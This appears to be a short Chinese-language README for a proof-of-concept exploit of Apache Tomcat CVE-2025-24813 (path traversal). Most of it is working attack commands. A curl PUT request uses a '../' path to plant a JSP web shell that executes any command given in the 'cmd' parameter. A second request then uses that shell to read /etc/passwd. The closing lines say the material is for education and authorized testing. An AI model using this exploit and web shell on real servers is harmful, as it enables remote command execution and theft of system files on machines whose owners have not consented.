Apache Tomcat 由于对路径中的 ../ 序列处理不当,存在路径等价 / 路径遍历问题。
CVE ID: CVE-2025-24813
参考链接: https://github.com/advisories/GHSA-83qj-6fr2-vhqg
1. 使用 PUT 方法发送 curl 请求:
curl -X PUT "http://target.com/uploads/../webapps/ROOT/updates.jsp" \
-H "Content-Type: application/x-jsp" \
--data-raw '<%@ page import="java.io.*" %>
<html><body>
<form method="GET"><input type="text" name="cmd"><input type="submit" value="Run"></form>
<% if(request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while((l=r.readLine())!=null){ out.println(l+"<br>"); } } %>
</body></html>' -i

2. 直接访问上传的文件:
curl "http://target.com/updates.jsp?cmd=cat/etc/passwd" -i

本仓库仅用于教育目的和授权测试。
未经明确许可对系统进行未授权使用是违法的。